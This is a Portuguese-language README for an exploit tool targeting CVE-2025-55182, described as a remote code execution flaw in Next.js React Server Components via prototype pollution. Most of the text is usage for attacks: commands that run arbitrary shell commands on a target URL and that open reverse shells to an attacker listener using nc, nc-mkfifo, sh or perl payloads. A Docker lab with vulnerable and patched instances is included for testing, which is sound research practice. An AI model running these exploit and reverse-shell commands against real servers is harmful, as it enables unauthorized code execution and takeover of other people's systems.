Exploit de RCE em React Server Components do Next.js

Explora a CVE-2025-55182 para execução remota de código via poluição de protótipo.

Instalação

uv sync

Uso

Execução de Comandos

source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"

Shell Reverso

python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo

Opções

• -u, --url: URL/host para verificar (obrigatório)
• -c, --cmd: Comando a executar
• -r, --reverse: Ativa o modo de shell reverso
• -l, --lhost: Host do listener para o shell reverso
• -p, --lport: Porta do listener para o shell reverso
• -P, --payload: Tipo de payload do shell reverso: nc, nc-mkfifo, sh, perl (padrão: nc)
• --timeout: Tempo limite de requisição em segundos (padrão: 10)

Exemplos

# Execute command
python3 exploit.py -u https://example.com -c "whoami"

# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo

Ambiente de Laboratório

O diretório lab/ contém uma configuração Docker completa para testar o exploit.

Configuração

cd lab
docker-compose up -d

Isso iniciará dois serviços:

• vulnerable: Aplicação Next.js vulnerável na porta 3011
• patched: Aplicação Next.js corrigida na porta 3012

Testando

# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"

# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo